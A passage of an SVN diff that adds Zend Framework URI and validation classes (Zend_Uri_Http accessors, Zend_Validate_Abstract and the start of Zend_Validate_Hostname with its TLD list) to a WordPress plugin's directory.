+     * then the username contained in the instance variable is used.
+     *
+     * @param  string $username The HTTP username
+     * @throws Zend_Uri_Exception When username validation fails
+     * @return boolean
+     * @link   http://www.faqs.org/rfcs/rfc2396.html
+     */
+    public function validateUsername($username = null)
+    {
+        if ($username === null) {
+            $username = $this->_username;
+        }
+
+        // If the username is empty, then it is considered valid
+        if (strlen($username) === 0) {
+            return true;
+        }
+
+        // Check the username against the allowed values
+        $status = @preg_match('/^(?:' . $this->_regex['escaped'] . '|[' .
+            self::CHAR_ALNUM . self::CHAR_MARK . ';:&=+$,' . '])+$/', $username);
+
+        if ($status === false) {
+            require_once 'Zend/Uri/Exception.php';
+            throw new Zend_Uri_Exception('Internal error: username validation failed');
+        }
+
+        return $status === 1;
+    }
+
+    /**
+     * Sets the username for the current URI, and returns the old username
+     *
+     * @param  string $username The HTTP username
+     * @throws Zend_Uri_Exception When $username is not a valid HTTP username
+     * @return string
+     */
+    public function setUsername($username)
+    {
+        if ($this->validateUsername($username) === false) {
+            require_once 'Zend/Uri/Exception.php';
+            throw new Zend_Uri_Exception("Username \"$username\" is not a valid HTTP username");
+        }
+
+        $oldUsername     = $this->_username;
+        $this->_username = $username;
+
+        return $oldUsername;
+    }
+
+    /**
+     * Returns the password portion of the URL, or FALSE if none.
+     *
+     * @return string
+     */
+    public function getPassword()
+    {
+        return strlen($this->_password) > 0 ? $this->_password : false;
+    }
+
+    /**
+     * Returns true if and only if the password passes validation. If no password is passed,
+     * then the password contained in the instance variable is used.
+     *
+     * @param  string $password The HTTP password
+     * @throws Zend_Uri_Exception When password validation fails
+     * @return boolean
+     * @link   http://www.faqs.org/rfcs/rfc2396.html
+     */
+    public function validatePassword($password = null)
+    {
+        if ($password === null) {
+            $password = $this->_password;
+        }
+
+        // If the password is empty, then it is considered valid
+        if (strlen($password) === 0) {
+            return true;
+        }
+
+        // If the password is nonempty, but there is no username, then it is considered invalid
+        if (strlen($password) > 0 and strlen($this->_username) === 0) {
+            return false;
+        }
+
+        // Check the password against the allowed values
+        $status = @preg_match('/^(?:' . $this->_regex['escaped'] . '|[' .
+            self::CHAR_ALNUM . self::CHAR_MARK . ';:&=+$,' . '])+$/', $password);
+
+        if ($status === false) {
+            require_once 'Zend/Uri/Exception.php';
+            throw new Zend_Uri_Exception('Internal error: password validation failed.');
+        }
+
+        return $status == 1;
+    }
+
+    /**
+     * Sets the password for the current URI, and returns the old password
+     *
+     * @param  string $password The HTTP password
+     * @throws Zend_Uri_Exception When $password is not a valid HTTP password
+     * @return string
+     */
+    public function setPassword($password)
+    {
+        if ($this->validatePassword($password) === false) {
+            require_once 'Zend/Uri/Exception.php';
+            throw new Zend_Uri_Exception("Password \"$password\" is not a valid HTTP password.");
+        }
+
+        $oldPassword     = $this->_password;
+        $this->_password = $password;
+
+        return $oldPassword;
+    }
+
+    /**
+     * Returns the domain or host IP portion of the URL, or FALSE if none.
+     *
+     * @return string
+     */
+    public function getHost()
+    {
+        return strlen($this->_host) > 0 ? $this->_host : false;
+    }
+
+    /**
+     * Returns true if and only if the host string passes validation. If no host is passed,
+     * then the host contained in the instance variable is used.
+     *
+     * @param  string $host The HTTP host
+     * @return boolean
+     * @uses   Zend_Filter
+     */
+    public function validateHost($host = null)
+    {
+        if ($host === null) {
+            $host = $this->_host;
+        }
+
+        // If the host is empty, then it is considered invalid
+        if (strlen($host) === 0) {
+            return false;
+        }
+
+        // Check the host against the allowed values; delegated to Zend_Filter.
+        $validate = new Zend_Validate_Hostname(Zend_Validate_Hostname::ALLOW_ALL);
+
+        return $validate->isValid($host);
+    }
+
+    /**
+     * Sets the host for the current URI, and returns the old host
+     *
+     * @param  string $host The HTTP host
+     * @throws Zend_Uri_Exception When $host is nota valid HTTP host
+     * @return string
+     */
+    public function setHost($host)
+    {
+        if ($this->validateHost($host) === false) {
+            require_once 'Zend/Uri/Exception.php';
+            throw new Zend_Uri_Exception("Host \"$host\" is not a valid HTTP host");
+        }
+
+        $oldHost     = $this->_host;
+        $this->_host = $host;
+
+        return $oldHost;
+    }
+
+    /**
+     * Returns the TCP port, or FALSE if none.
+     *
+     * @return string
+     */
+    public function getPort()
+    {
+        return strlen($this->_port) > 0 ? $this->_port : false;
+    }
+
+    /**
+     * Returns true if and only if the TCP port string passes validation. If no port is passed,
+     * then the port contained in the instance variable is used.
+     *
+     * @param  string $port The HTTP port
+     * @return boolean
+     */
+    public function validatePort($port = null)
+    {
+        if ($port === null) {
+            $port = $this->_port;
+        }
+
+        // If the port is empty, then it is considered valid
+        if (strlen($port) === 0) {
+            return true;
+        }
+
+        // Check the port against the allowed values
+        return ctype_digit((string) $port) and 1 <= $port and $port <= 65535;
+    }
+
+    /**
+     * Sets the port for the current URI, and returns the old port
+     *
+     * @param  string $port The HTTP port
+     * @throws Zend_Uri_Exception When $port is not a valid HTTP port
+     * @return string
+     */
+    public function setPort($port)
+    {
+        if ($this->validatePort($port) === false) {
+            require_once 'Zend/Uri/Exception.php';
+            throw new Zend_Uri_Exception("Port \"$port\" is not a valid HTTP port.");
+        }
+
+        $oldPort     = $this->_port;
+        $this->_port = $port;
+
+        return $oldPort;
+    }
+
+    /**
+     * Returns the path and filename portion of the URL, or FALSE if none.
+     *
+     * @return string
+     */
+    public function getPath()
+    {
+        return strlen($this->_path) > 0 ? $this->_path : '/';
+    }
+
+    /**
+     * Returns true if and only if the path string passes validation. If no path is passed,
+     * then the path contained in the instance variable is used.
+     *
+     * @param  string $path The HTTP path
+     * @throws Zend_Uri_Exception When path validation fails
+     * @return boolean
+     */
+    public function validatePath($path = null)
+    {
+        if ($path === null) {
+            $path = $this->_path;
+        }
+
+        // If the path is empty, then it is considered valid
+        if (strlen($path) === 0) {
+            return true;
+        }
+
+        // Determine whether the path is well-formed
+        $pattern = '/^' . $this->_regex['path'] . '$/';
+        $status  = @preg_match($pattern, $path);
+        if ($status === false) {
+            require_once 'Zend/Uri/Exception.php';
+            throw new Zend_Uri_Exception('Internal error: path validation failed');
+        }
+
+        return (boolean) $status;
+    }
+
+    /**
+     * Sets the path for the current URI, and returns the old path
+     *
+     * @param  string $path The HTTP path
+     * @throws Zend_Uri_Exception When $path is not a valid HTTP path
+     * @return string
+     */
+    public function setPath($path)
+    {
+        if ($this->validatePath($path) === false) {
+            require_once 'Zend/Uri/Exception.php';
+            throw new Zend_Uri_Exception("Path \"$path\" is not a valid HTTP path");
+        }
+
+        $oldPath     = $this->_path;
+        $this->_path = $path;
+
+        return $oldPath;
+    }
+
+    /**
+     * Returns the query portion of the URL (after ?), or FALSE if none.
+     *
+     * @return string
+     */
+    public function getQuery()
+    {
+        return strlen($this->_query) > 0 ? $this->_query : false;
+    }
+
+    /**
+     * Returns true if and only if the query string passes validation. If no query is passed,
+     * then the query string contained in the instance variable is used.
+     *
+     * @param  string $query The query to validate
+     * @throws Zend_Uri_Exception When query validation fails
+     * @return boolean
+     * @link   http://www.faqs.org/rfcs/rfc2396.html
+     */
+    public function validateQuery($query = null)
+    {
+        if ($query === null) {
+            $query = $this->_query;
+        }
+
+        // If query is empty, it is considered to be valid
+        if (strlen($query) === 0) {
+            return true;
+        }
+
+        // Determine whether the query is well-formed
+        $pattern = '/^' . $this->_regex['uric'] . '*$/';
+        $status  = @preg_match($pattern, $query);
+        if ($status === false) {
+            require_once 'Zend/Uri/Exception.php';
+            throw new Zend_Uri_Exception('Internal error: query validation failed');
+        }
+
+        return $status == 1;
+    }
+
+    /**
+     * Set the query string for the current URI, and return the old query
+     * string This method accepts both strings and arrays.
+     *
+     * @param  string|array $query The query string or array
+     * @throws Zend_Uri_Exception When $query is not a valid query string
+     * @return string              Old query string
+     */
+    public function setQuery($query)
+    {
+        $oldQuery = $this->_query;
+
+        // If query is empty, set an empty string
+        if (empty($query) === true) {
+            $this->_query = '';
+            return $oldQuery;
+        }
+
+        // If query is an array, make a string out of it
+        if (is_array($query) === true) {
+            $query = http_build_query($query, '', '&');
+        } else {
+            // If it is a string, make sure it is valid. If not parse and encode it
+            $query = (string) $query;
+            if ($this->validateQuery($query) === false) {
+                parse_str($query, $queryArray);
+                $query = http_build_query($queryArray, '', '&');
+            }
+        }
+
+        // Make sure the query is valid, and set it
+        if ($this->validateQuery($query) === false) {
+            require_once 'Zend/Uri/Exception.php';
+            throw new Zend_Uri_Exception("'$query' is not a valid query string");
+        }
+
+        $this->_query = $query;
+
+        return $oldQuery;
+    }
+
+    /**
+     * Returns the fragment portion of the URL (after #), or FALSE if none.
+     *
+     * @return string|false
+     */
+    public function getFragment()
+    {
+        return strlen($this->_fragment) > 0 ? $this->_fragment : false;
+    }
+
+    /**
+     * Returns true if and only if the fragment passes validation. If no fragment is passed,
+     * then the fragment contained in the instance variable is used.
+     *
+     * @param  string $fragment Fragment of an URI
+     * @throws Zend_Uri_Exception When fragment validation fails
+     * @return boolean
+     * @link   http://www.faqs.org/rfcs/rfc2396.html
+     */
+    public function validateFragment($fragment = null)
+    {
+        if ($fragment === null) {
+            $fragment = $this->_fragment;
+        }
+
+        // If fragment is empty, it is considered to be valid
+        if (strlen($fragment) === 0) {
+            return true;
+        }
+
+        // Determine whether the fragment is well-formed
+        $pattern = '/^' . $this->_regex['uric'] . '*$/';
+        $status  = @preg_match($pattern, $fragment);
+        if ($status === false) {
+            require_once 'Zend/Uri/Exception.php';
+            throw new Zend_Uri_Exception('Internal error: fragment validation failed');
+        }
+
+        return (boolean) $status;
+    }
+
+    /**
+     * Sets the fragment for the current URI, and returns the old fragment
+     *
+     * @param  string $fragment Fragment of the current URI
+     * @throws Zend_Uri_Exception When $fragment is not a valid HTTP fragment
+     * @return string
+     */
+    public function setFragment($fragment)
+    {
+        if ($this->validateFragment($fragment) === false) {
+            require_once 'Zend/Uri/Exception.php';
+            throw new Zend_Uri_Exception("Fragment \"$fragment\" is not a valid HTTP fragment");
+        }
+
+        $oldFragment     = $this->_fragment;
+        $this->_fragment = $fragment;
+
+        return $oldFragment;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Abstract.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Abstract.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Abstract.php	(revision 44)
@@ -0,0 +1,398 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Validate
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ * @version    $Id: Abstract.php 14317 2009-03-13 20:39:31Z thomas $
+ */
+
+/**
+ * @see Zend_Validate_Interface
+ */
+require_once 'Zend/Validate/Interface.php';
+
+/**
+ * @category   Zend
+ * @package    Zend_Validate
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+abstract class Zend_Validate_Abstract implements Zend_Validate_Interface
+{
+    /**
+     * The value to be validated
+     *
+     * @var mixed
+     */
+    protected $_value;
+
+    /**
+     * Additional variables available for validation failure messages
+     *
+     * @var array
+     */
+    protected $_messageVariables = array();
+
+    /**
+     * Validation failure message template definitions
+     *
+     * @var array
+     */
+    protected $_messageTemplates = array();
+
+    /**
+     * Array of validation failure messages
+     *
+     * @var array
+     */
+    protected $_messages = array();
+
+    /**
+     * Flag indidcating whether or not value should be obfuscated in error
+     * messages
+     * @var bool
+     */
+    protected $_obscureValue = false;
+
+    /**
+     * Array of validation failure message codes
+     *
+     * @var array
+     * @deprecated Since 1.5.0
+     */
+    protected $_errors = array();
+
+    /**
+     * Translation object
+     * @var Zend_Translate
+     */
+    protected $_translator;
+
+    /**
+     * Default translation object for all validate objects
+     * @var Zend_Translate
+     */
+    protected static $_defaultTranslator;
+
+    /**
+     * Is translation disabled?
+     * @var Boolean
+     */
+    protected $_translatorDisabled = false;
+
+    /**
+     * Returns array of validation failure messages
+     *
+     * @return array
+     */
+    public function getMessages()
+    {
+        return $this->_messages;
+    }
+
+    /**
+     * Returns an array of the names of variables that are used in constructing validation failure messages
+     *
+     * @return array
+     */
+    public function getMessageVariables()
+    {
+        return array_keys($this->_messageVariables);
+    }
+
+    /**
+     * Returns the message templates from the validator
+     *
+     * @return array
+     */
+    public function getMessageTemplates()
+    {
+        return $this->_messageTemplates;
+    }
+
+    /**
+     * Sets the validation failure message template for a particular key
+     *
+     * @param  string $messageString
+     * @param  string $messageKey     OPTIONAL
+     * @return Zend_Validate_Abstract Provides a fluent interface
+     * @throws Zend_Validate_Exception
+     */
+    public function setMessage($messageString, $messageKey = null)
+    {
+        if ($messageKey === null) {
+            $keys = array_keys($this->_messageTemplates);
+            $messageKey = current($keys);
+        }
+        if (!isset($this->_messageTemplates[$messageKey])) {
+            require_once 'Zend/Validate/Exception.php';
+            throw new Zend_Validate_Exception("No message template exists for key '$messageKey'");
+        }
+        $this->_messageTemplates[$messageKey] = $messageString;
+        return $this;
+    }
+
+    /**
+     * Sets validation failure message templates given as an array, where the array keys are the message keys,
+     * and the array values are the message template strings.
+     *
+     * @param  array $messages
+     * @return Zend_Validate_Abstract
+     */
+    public function setMessages(array $messages)
+    {
+        foreach ($messages as $key => $message) {
+            $this->setMessage($message, $key);
+        }
+        return $this;
+    }
+
+    /**
+     * Magic function returns the value of the requested property, if and only if it is the value or a
+     * message variable.
+     *
+     * @param  string $property
+     * @return mixed
+     * @throws Zend_Validate_Exception
+     */
+    public function __get($property)
+    {
+        if ($property == 'value') {
+            return $this->_value;
+        }
+        if (array_key_exists($property, $this->_messageVariables)) {
+            return $this->{$this->_messageVariables[$property]};
+        }
+        /**
+         * @see Zend_Validate_Exception
+         */
+        require_once 'Zend/Validate/Exception.php';
+        throw new Zend_Validate_Exception("No property exists by the name '$property'");
+    }
+
+    /**
+     * Constructs and returns a validation failure message with the given message key and value.
+     *
+     * Returns null if and only if $messageKey does not correspond to an existing template.
+     *
+     * If a translator is available and a translation exists for $messageKey,
+     * the translation will be used.
+     *
+     * @param  string $messageKey
+     * @param  string $value
+     * @return string
+     */
+    protected function _createMessage($messageKey, $value)
+    {
+        if (!isset($this->_messageTemplates[$messageKey])) {
+            return null;
+        }
+
+        $message = $this->_messageTemplates[$messageKey];
+
+        if (null !== ($translator = $this->getTranslator())) {
+            if ($translator->isTranslated($message)) {
+                $message = $translator->translate($message);
+            } elseif ($translator->isTranslated($messageKey)) {
+                $message = $translator->translate($messageKey);
+            }
+        }
+
+        if (is_object($value)) {
+            if (!in_array('__toString', get_class_methods($value))) {
+                $value = get_class($value) . ' object';
+            } else {
+                $value = $value->__toString();
+            }
+        } else {
+            $value = (string)$value;
+        }
+
+        if ($this->getObscureValue()) {
+            $value = str_repeat('*', strlen($value));
+        }
+
+        $message = str_replace('%value%', (string) $value, $message);
+        foreach ($this->_messageVariables as $ident => $property) {
+            $message = str_replace("%$ident%", (string) $this->$property, $message);
+        }
+        return $message;
+    }
+
+    /**
+     * @param  string $messageKey OPTIONAL
+     * @param  string $value      OPTIONAL
+     * @return void
+     */
+    protected function _error($messageKey = null, $value = null)
+    {
+        if ($messageKey === null) {
+            $keys = array_keys($this->_messageTemplates);
+            $messageKey = current($keys);
+        }
+        if ($value === null) {
+            $value = $this->_value;
+        }
+        $this->_errors[]              = $messageKey;
+        $this->_messages[$messageKey] = $this->_createMessage($messageKey, $value);
+    }
+
+    /**
+     * Sets the value to be validated and clears the messages and errors arrays
+     *
+     * @param  mixed $value
+     * @return void
+     */
+    protected function _setValue($value)
+    {
+        $this->_value    = $value;
+        $this->_messages = array();
+        $this->_errors   = array();
+    }
+
+    /**
+     * Returns array of validation failure message codes
+     *
+     * @return array
+     * @deprecated Since 1.5.0
+     */
+    public function getErrors()
+    {
+        return $this->_errors;
+    }
+
+    /**
+     * Set flag indicating whether or not value should be obfuscated in messages
+     *
+     * @param  bool $flag
+     * @return Zend_Validate_Abstract
+     */
+    public function setObscureValue($flag)
+    {
+        $this->_obscureValue = (bool) $flag;
+        return $this;
+    }
+
+    /**
+     * Retrieve flag indicating whether or not value should be obfuscated in
+     * messages
+     *
+     * @return bool
+     */
+    public function getObscureValue()
+    {
+        return $this->_obscureValue;
+    }
+
+    /**
+     * Set translation object
+     *
+     * @param  Zend_Translate|Zend_Translate_Adapter|null $translator
+     * @return Zend_Validate_Abstract
+     */
+    public function setTranslator($translator = null)
+    {
+        if ((null === $translator) || ($translator instanceof Zend_Translate_Adapter)) {
+            $this->_translator = $translator;
+        } elseif ($translator instanceof Zend_Translate) {
+            $this->_translator = $translator->getAdapter();
+        } else {
+            require_once 'Zend/Validate/Exception.php';
+            throw new Zend_Validate_Exception('Invalid translator specified');
+        }
+        return $this;
+    }
+
+    /**
+     * Return translation object
+     *
+     * @return Zend_Translate_Adapter|null
+     */
+    public function getTranslator()
+    {
+        if ($this->translatorIsDisabled()) {
+            return null;
+        }
+
+        if (null === $this->_translator) {
+            return self::getDefaultTranslator();
+        }
+
+        return $this->_translator;
+    }
+
+    /**
+     * Set default translation object for all validate objects
+     *
+     * @param  Zend_Translate|Zend_Translate_Adapter|null $translator
+     * @return void
+     */
+    public static function setDefaultTranslator($translator = null)
+    {
+        if ((null === $translator) || ($translator instanceof Zend_Translate_Adapter)) {
+            self::$_defaultTranslator = $translator;
+        } elseif ($translator instanceof Zend_Translate) {
+            self::$_defaultTranslator = $translator->getAdapter();
+        } else {
+            require_once 'Zend/Validate/Exception.php';
+            throw new Zend_Validate_Exception('Invalid translator specified');
+        }
+    }
+
+    /**
+     * Get default translation object for all validate objects
+     *
+     * @return Zend_Translate_Adapter|null
+     */
+    public static function getDefaultTranslator()
+    {
+        if (null === self::$_defaultTranslator) {
+            require_once 'Zend/Registry.php';
+            if (Zend_Registry::isRegistered('Zend_Translate')) {
+                $translator = Zend_Registry::get('Zend_Translate');
+                if ($translator instanceof Zend_Translate_Adapter) {
+                    return $translator;
+                } elseif ($translator instanceof Zend_Translate) {
+                    return $translator->getAdapter();
+                }
+            }
+        }
+
+        return self::$_defaultTranslator;
+    }
+
+    /**
+     * Indicate whether or not translation should be disabled
+     *
+     * @param  bool $flag
+     * @return Zend_Validate_Abstract
+     */
+    public function setDisableTranslator($flag)
+    {
+        $this->_translatorDisabled = (bool) $flag;
+        return $this;
+    }
+
+    /**
+     * Is translation disabled?
+     *
+     * @return bool
+     */
+    public function translatorIsDisabled()
+    {
+        return $this->_translatorDisabled;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Hostname.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Hostname.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Hostname.php	(revision 44)
@@ -0,0 +1,692 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Validate
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ * @version    $Id: Hostname.php 14556 2009-03-31 10:35:42Z thomas $
+ */
+
+/**
+ * @see Zend_Validate_Abstract
+ */
+require_once 'Zend/Validate/Abstract.php';
+
+/**
+ * @see Zend_Loader
+ */
+require_once 'Zend/Loader.php';
+
+/**
+ * @see Zend_Validate_Ip
+ */
+require_once 'Zend/Validate/Ip.php';
+
+/**
+ * Please note there are two standalone test scripts for testing IDN characters due to problems
+ * with file encoding.
+ *
+ * The first is tests/Zend/Validate/HostnameTestStandalone.php which is designed to be run on
+ * the command line.
+ *
+ * The second is tests/Zend/Validate/HostnameTestForm.php which is designed to be run via HTML
+ * to allow users to test entering UTF-8 characters in a form.
+ *
+ * @category   Zend
+ * @package    Zend_Validate
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Validate_Hostname extends Zend_Validate_Abstract
+{
+    const IP_ADDRESS_NOT_ALLOWED  = 'hostnameIpAddressNotAllowed';
+    const UNKNOWN_TLD             = 'hostnameUnknownTld';
+    const INVALID_DASH            = 'hostnameDashCharacter';
+    const INVALID_HOSTNAME_SCHEMA = 'hostnameInvalidHostnameSchema';
+    const UNDECIPHERABLE_TLD      = 'hostnameUndecipherableTld';
+    const INVALID_HOSTNAME        = 'hostnameInvalidHostname';
+    const INVALID_LOCAL_NAME      = 'hostnameInvalidLocalName';
+    const LOCAL_NAME_NOT_ALLOWED  = 'hostnameLocalNameNotAllowed';
+    const CANNOT_DECODE_PUNYCODE  = 'hostnameCannotDecodePunycode';
+
+    /**
+     * @var array
+     */
+    protected $_messageTemplates = array(
+        self::IP_ADDRESS_NOT_ALLOWED  => "'%value%' appears to be an IP address, but IP addresses are not allowed",
+        self::UNKNOWN_TLD             => "'%value%' appears to be a DNS hostname but cannot match TLD against known list",
+        self::INVALID_DASH            => "'%value%' appears to be a DNS hostname but contains a dash (-) in an invalid position",
+        self::INVALID_HOSTNAME_SCHEMA => "'%value%' appears to be a DNS hostname but cannot match against hostname schema for TLD '%tld%'",
+        self::UNDECIPHERABLE_TLD      => "'%value%' appears to be a DNS hostname but cannot extract TLD part",
+        self::INVALID_HOSTNAME        => "'%value%' does not match the expected structure for a DNS hostname",
+        self::INVALID_LOCAL_NAME      => "'%value%' does not appear to be a valid local network name",
+        self::LOCAL_NAME_NOT_ALLOWED  => "'%value%' appears to be a local network name but local network names are not allowed",
+        self::CANNOT_DECODE_PUNYCODE  => "'%value%' appears to be a DNS hostname but the given punycode notation cannot be decoded"
+    );
+
+    /**
+     * @var array
+     */
+    protected $_messageVariables = array(
+        'tld' => '_tld'
+    );
+
+    /**
+     * Allows Internet domain names (e.g., example.com)
+     */
+    const ALLOW_DNS   = 1;
+
+    /**
+     * Allows IP addresses
+     */
+    const ALLOW_IP    = 2;
+
+    /**
+     * Allows local network names (e.g., localhost, www.localdomain)
+     */
+    const ALLOW_LOCAL = 4;
+
+    /**
+     * Allows all types of hostnames
+     */
+    const ALLOW_ALL   = 7;
+
+    /**
+     * Whether IDN domains are validated
+     *
+     * @var boolean
+     */
+    private $_validateIdn = true;
+
+    /**
+     * Whether TLDs are validated against a known list
+     *
+     * @var boolean
+     */
+    private $_validateTld = true;
+
+    /**
+     * Bit field of ALLOW constants; determines which types of hostnames are allowed
+     *
+     * @var integer
+     */
+    protected $_allow;
+
+    /**
+     * Array of valid top-level-domains
+     *
+     * @see ftp://data.iana.org/TLD/tlds-alpha-by-domain.txt  List of all TLDs by domain
+     * @see http://www.iana.org/domains/root/db/ Official list of supported TLDs
+     * @var array
+     */
+    protected $_validTlds = array(
+        'ac', 'ad', 'ae', 'aero', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao', 'aq', 'ar', 'arpa',
+        'as', 'asia', 'at', 'au', 'aw', 'ax', 'az', 'ba', 'bb', 'bd', 'be', 'bf', 'bg', 'bh', 'bi',
+        'biz', 'bj', 'bm', 'bn', 'bo', 'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cat', 'cc',
+        'cd', 'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'com', 'coop', 'cr', 'cu',
+        'cv', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'do', 'dz', 'ec', 'edu', 'ee', 'eg', 'er',
+        'es', 'et', 'eu', 'fi', 'fj', 'fk', 'fm', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg',
+        'gh', 'gi', 'gl', 'gm', 'gn', 'gov', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu', 'gw', 'gy', 'hk',
+        'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie', 'il', 'im', 'in', 'info', 'int', 'io', 'iq',
+        'ir', 'is', 'it', 'je', 'jm', 'jo', 'jobs', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp',
+        'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls', 'lt', 'lu', 'lv', 'ly',
+        'ma', 'mc', 'md', 'me', 'mg', 'mh', 'mil', 'mk', 'ml', 'mm', 'mn', 'mo', 'mobi', 'mp',
+        'mq', 'mr', 'ms', 'mt', 'mu', 'museum', 'mv', 'mw', 'mx', 'my', 'mz', 'na', 'name', 'nc',
+        'ne', 'net', 'nf', 'ng', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om', 'org', 'pa', 'pe',
+        'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr', 'pro', 'ps', 'pt', 'pw', 'py', 'qa', 're',
+        'ro', 'rs', 'ru', 'rw', 'sa', 'sb', 'sc', 'sd', 'se', 'sg', 'sh', 'si', 'sj', 'sk', 'sl',
+        'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td', 'tel', 'tf', 'tg', 'th',
+        'tj', 'tk', 'tl', 'tm', 'tn', 'to', 'tp', 'tr', 'travel', 'tt', 'tv', 'tw', 'tz', 'ua',
+        'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws',
+        'ye', 'yt', 'yu', 'za', 'zm', 'zw'
+    );
+
+    /**
+     * @var string
+     */
+    protected $_tld;
+
+    /**
+     * Array for valid Idns
+     * @see http://www.iana.org/domains/idn-tables/ Official list of supported IDN Chars
+     * (.AC) Ascension Island http://www.nic.ac/pdf/AC-IDN-Policy.pdf
+     * (.AR) Argentinia http://www.nic.ar/faqidn.html
+     * (.AS) American Samoa http://www.nic.as/idn/chars.cfm
+     * (.AT) Austria http://www.nic.at/en/service/technical_information/idn/charset_converter/
+     * (.BIZ) International http://www.iana.org/domains/idn-tables/
+     * (.BR) Brazil http://registro.br/faq/faq6.html
+     * (.BV) Bouvett Island http://www.norid.no/domeneregistrering/idn/idn_nyetegn.en.html
+     * (.CAT) Catalan http://www.iana.org/domains/idn-tables/tables/cat_ca_1.0.html
+     * (.CH) Switzerland https://nic.switch.ch/reg/ocView.action?res=EF6GW2JBPVTG67DLNIQXU234MN6SC33JNQQGI7L6#anhang1
+     * (.CL) Chile http://www.iana.org/domains/idn-tables/tables/cl_latn_1.0.html
+     * (.COM) International http://www.verisign.com/information-services/naming-services/internationalized-domain-names/index.html
+     * (.DE) Germany http://www.denic.de/en/domains/idns/liste.html
+     * (.DK) Danmark http://www.dk-hostmaster.dk/index.php?id=151
+     * (.ES) Spain https://www.nic.es/media/2008-05/1210147705287.pdf
+     * (.FI) Finland http://www.ficora.fi/en/index/palvelut/fiverkkotunnukset/aakkostenkaytto.html
+     * (.GR) Greece https://grweb.ics.forth.gr/CharacterTable1_en.jsp
+     * (.HU) Hungary http://www.domain.hu/domain/English/szabalyzat/szabalyzat.html
+     * (.INFO) International http://www.nic.info/info/idn
+     * (.IO) British Indian Ocean Territory http://www.nic.io/IO-IDN-Policy.pdf
+     * (.IR) Iran http://www.nic.ir/Allowable_Characters_dot-iran
+     * (.IS) Iceland http://www.isnic.is/domain/rules.php
+     * (.KR) Korea http://www.iana.org/domains/idn-tables/tables/kr_ko-kr_1.0.html
+     * (.LI) Liechtenstein https://nic.switch.ch/reg/ocView.action?res=EF6GW2JBPVTG67DLNIQXU234MN6SC33JNQQGI7L6#anhang1
+     * (.LT) Lithuania http://www.domreg.lt/static/doc/public/idn_symbols-en.pdf
+     * (.MD) Moldova http://www.register.md/
+     * (.MUSEUM) International http://www.iana.org/domains/idn-tables/tables/museum_latn_1.0.html
+     * (.NET) International http://www.verisign.com/information-services/naming-services/internationalized-domain-names/index.html
+     * (.NO) Norway http://www.norid.no/domeneregistrering/idn/idn_nyetegn.en.html
+     * (.NU) Niue http://www.worldnames.net/
+     * (.ORG) International http://www.pir.org/index.php?db=content/FAQs&tbl=FAQs_Registrant&id=2
+     * (.PE) Peru https://www.nic.pe/nuevas_politicas_faq_2.php
+     * (.PL) Poland http://www.dns.pl/IDN/allowed_character_sets.pdf
+     * (.PR) Puerto Rico http://www.nic.pr/idn_rules.asp
+     * (.PT) Portugal https://online.dns.pt/dns_2008/do?com=DS;8216320233;111;+PAGE(4000058)+K-CAT-CODIGO(C.125)+RCNT(100);
+     * (.RU) Russia http://www.iana.org/domains/idn-tables/tables/ru_ru-ru_1.0.html
+     * (.SA) Saudi Arabia http://www.iana.org/domains/idn-tables/tables/sa_ar_1.0.html
+     * (.SE) Sweden http://www.iis.se/english/IDN_campaignsite.shtml?lang=en
+     * (.SH) Saint Helena http://www.nic.sh/SH-IDN-Policy.pdf
+     * (.SJ) Svalbard and Jan Mayen http://www.norid.no/domeneregistrering/idn/idn_nyetegn.en.html
+     * (.TH) Thailand http://www.iana.org/domains/idn-tables/tables/th_th-th_1.0.html
+     * (.TM) Turkmenistan http://www.nic.tm/TM-IDN-Policy.pdf
